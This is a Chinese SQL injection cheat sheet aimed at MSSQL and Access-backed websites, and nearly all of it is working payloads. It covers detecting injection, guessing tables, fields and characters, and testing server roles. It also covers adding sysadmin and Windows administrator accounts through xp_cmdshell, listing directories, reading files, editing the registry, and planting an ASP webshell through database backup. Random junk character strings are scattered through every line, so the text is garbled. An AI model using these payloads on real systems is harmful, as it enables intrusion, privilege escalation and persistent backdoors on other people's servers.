1.判断是否有注入;and 1=1 ;and 1=2 ZL3aO,G2
2.初步判断是否是mssql ;and user>0 )cMW,
Ikkv <uY
3.注入参数是字符'and [查询条件] and ''=' Y68T&swD
=DhzV
D
4.搜索时没过滤参数的'and [查询条件] and '%25'=' '5ZtB<
D&xbtJd
5.判断数据库系统 u'?yc"d>#
M=}vDw]Q
;and (select count(*) from sysobjects)>0 mssql `W8A*
qGE?[\t[6
;and (select count(*) from msysobjects)>0 access )7e[o8O_6
9*@K l`\
-'tgr6=|w"
bIP'(B#1K
6.猜数据库 ;and (select Count(*) from [数据库名])>0 95,{40;X7
*Q<%(JJ
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 |$r|DX1[
;btH[a iV
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 &DMKZMj<Q*
DO!?]"
9.(1)猜字段的ascii值(access) 31n5n
OOEmXb]8
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 SOyE$GoOsx
cNW [i"
(2)猜字段的ascii值(mssql) P8JN
m"C
4No!`O-!&
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 FZM9aA
5"IbmD>D
10.测试权限结构(mssql) XeaO,P
8q6b3q:c
7kBULeBn|
u"%i3%Yjh
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- V01-n{~G
K#=)]qIk
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- HS|X//]
oJF@O:A
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- {e4ILdXM
f!`,!dZgkd
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4MVa[0Y
`hD\u@5Tw
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 2VOdI
c1IK9X*
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ])=k";76
*q8L$D
;and 1=(select IS_MEMBER('db_owner'));-- UQwLAXs
acWm+
Vo%MG.IPB
y[*Bw)F\N
11.添加mssql和系统的帐户 zS*X9|p
Z#wmEc.}C
;exec master.dbo.sp_addlogin username;-- ^/Id!Y7
;exec master.dbo.sp_password null,username,password;-- 5Pis0fa
]_S&8F}|
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- =o5ZcC
-Bqn^ E
;exec master.dbo.xp_cmdshell 'net user username password ~;Ga65_6_
aDx{Q&
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- H)$-T1Wx4
U@<>2
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Ix,`lFbH
N#')Qz:P
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Go}C{(4T
%Dg]n4f
#Nt?4T<
C:n55BE9
12.(1)遍历目录 vjI>TIy
Vwp fkD`
;create table dirs(paths varchar(100), id int) [@OXvdTV
R qS2Qo]
;insert dirs exec master.dbo.xp_dirtree 'c:\' %@Nuzdp
taXS>*|B
;and (select top 1 paths from dirs)>0 cvpcadN[
E3#}:6m
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) Y`QJcC(3
Kc= &jCn
tVUoUl
.y {qsL^P
(2)遍历目录 goi5I(yn^
tI&Z!fj
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- YCwfrz
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 $X~4J
+I0?D
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 -r_/b
&eQF[8 ,
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 B
Mh949;
3u7^*$S
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 /JL2dBy#z
d18%zY>
F/[vg
k,S'i#4q4
13.mssql中的存储过程 c+/SvRx^>
NZ/>nNs
xp_regenumvalues 注册表根键, 子键 />(e.)f
SrfDl*
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 !o2lB^e8
9g#L"T=
xp_regread 根键,子键,键值名 )p7WU?&I
_dY6Ip%
;exec xp_regread 4r!8_$fN?G
]3<k>?
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 <qs>c<Vj
=$UDa`}D
xp_regwrite 根键,子键, 值名, 值类型, 值 Kw}-<y
4,kT4_&,
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Z |uII#lq
'G3B02*
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 )/h~csy:~
LuS]D%
xp_regdeletevalue 根键,子键,值名 %ci/(wL
@cNX\$J
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 s5>=!yX
6X5`npf
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Hd6g0
5QU7!jbI
2E^zQ>;01
a!}.l< )
14.mssql的backup创建webshell wn[q?|1
k/W$)b:Of`
use model 6;U]l.
lL~T@+J~
create table cmd(str image); 0t<]Uf
+]/_gz
insert into cmd(str) values (''); 5An|#^]
MzRURH,
backup database model to disk='c:\l.asp'; ~HD:Y7
CRvUD.D
$[iSZ ;
#uJGXrGt=
15.mssql内置函数 r*<)QP^B~
]?tsYXU j
;and (select @@version)>0 获得Windows的版本号 <l(6$~(-u
RuDn1h#u{
;and user_name()='dbo' 判断当前系统的连接用户是不是sa .WA(X5
A{lzQO
;and (select user_name())>0 爆当前系统的连接用户 (Vglcj
=jjUwcl
;and (select db_name())>0 得到当前连接的数据库 nmp(%;<exN
6|3$43J,F
/j!?qID
QA\eXnR
16.简洁的webshell 2/f:VB?<T
gT*0WgB
use model P]-d(N}/H
]L4B
create table cmd(str image); j8?z@iG
3!&lio+<
insert into cmd(str) values (''); ;=1]h&S
O.e^?ysp/
backup database model to disk='g:\wwwtest\l.asp';